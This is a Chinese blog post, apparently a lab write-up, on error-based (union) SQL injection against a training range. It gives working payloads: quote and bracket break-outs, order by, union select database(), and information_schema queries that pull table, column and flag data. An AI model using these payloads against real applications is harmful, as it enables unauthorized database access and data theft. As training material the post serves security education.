SQL注入(显错注入)---zkaq

一.概念

  1. sql注入本质:将用户的输入拼接到代码中,并被当做sql语句执行
  2. sql注入的条件:用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行
  3. SQL显错注入基本流程:
  • 判断是否存在注入点

  • 判断字段数

  • 判断显错位

  • 判断库名、表名、列名

  • 寻找具体数据

二.靶场

1.pass-01—显错注入(一)
  • 判断是否存在sql注入:使用 and 1=1 和 and 1=2测试

  • 判断查询字段数,使用order by

    当字段数为3的时候,查询有结果,当字段数为4的时候,查询没有结果,说明字段数是3

  • 联合查询查询数据库名:http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=2 union select 1,2,database()

    发现数据库名为error

  • 查询表名:

    http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=2%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema%20=%27error%27%20limit%202,1
    

    查到数据库error中存在error_flag和user两张表

  • 先查找error_flag表的内容

    发现存在Id、flag两个列名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='error_flag'

查找error_flag表内容

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,(select%20group_concat(id,flag)%20from%20error.error_flag),3

得到flag zKaQ-Nf zKaQ-BJY zKaQ-XiaoFang zKaq-98K

pass2-pass4同pass1一样,只是传参不一样

pass-2:id=1’ union select 1,2,database() — qwe’
pass-3:id=1’) union select 1,2,database() — qwe’
pass-4:id=1”) union select 1,2,database() — qwe’

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值